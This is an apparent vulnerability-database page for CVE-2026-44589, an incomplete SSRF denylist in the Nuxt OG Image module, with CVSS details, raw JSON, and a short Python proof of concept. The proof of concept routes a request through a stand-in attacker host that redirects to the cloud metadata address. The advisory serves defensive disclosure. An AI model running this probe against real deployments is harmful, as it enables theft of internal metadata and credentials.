Security Vulnerability Report
中文
CVE-2026-44589 CVSS 3.7 LOW

CVE-2026-44589

Published: 2026-05-14 19:16:38
Last Modified: 2026-05-14 19:16:38

Description

Nuxt OG Image generates OG Images with Vue templates in Nuxt. The isBlockedUrl() denylist introduced in [email protected] to remediate GHSA-pqhr-mp3f-hrpp (Dmitry Prokhorov / Positive Technologies, March 2026) is incomplete. It has an incomplete IPv6 prefix list and is missing redirect re-validation. This vulnerability is fixed in 6.4.9.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

nuxt-og-image >= 6.2.5, < 6.4.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-44589 (SSRF Bypass via Redirect) This script simulates an attacker exploiting the missing redirect re-validation. """ import requests def exploit_ssrf(target_url, malicious_redirect_server): # The vulnerable endpoint expects a URL parameter for the OG image generation # Instead of a direct internal IP, we use an external domain that redirects payload_url = f"{malicious_redirect_server}/redirect_to_metadata" params = { "url": payload_url } try: print(f"[*] Sending request to {target_url} with payload: {payload_url}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Request successful. Check if the image contains internal metadata.") # In a real scenario, analyze the image binary for leaked data else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual vulnerable target target = "http://localhost:3000/__og-image__/image" # Attacker's server that returns 302 to http://169.254.169.254/latest/meta-data/ redirect_server = "http://attacker-controlled.com" exploit_ssrf(target, redirect_server)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44589", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:38.007", "lastModified": "2026-05-14T19:16:38.007", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nuxt OG Image generates OG Images with Vue templates in Nuxt. The isBlockedUrl() denylist introduced in [email protected] to remediate GHSA-pqhr-mp3f-hrpp (Dmitry Prokhorov / Positive Technologies, March 2026) is incomplete. It has an incomplete IPv6 prefix list and is missing redirect re-validation. This vulnerability is fixed in 6.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/nuxt-modules/og-image/security/advisories/GHSA-c2rm-g55x-8hr5", "source": "[email protected]"}]}}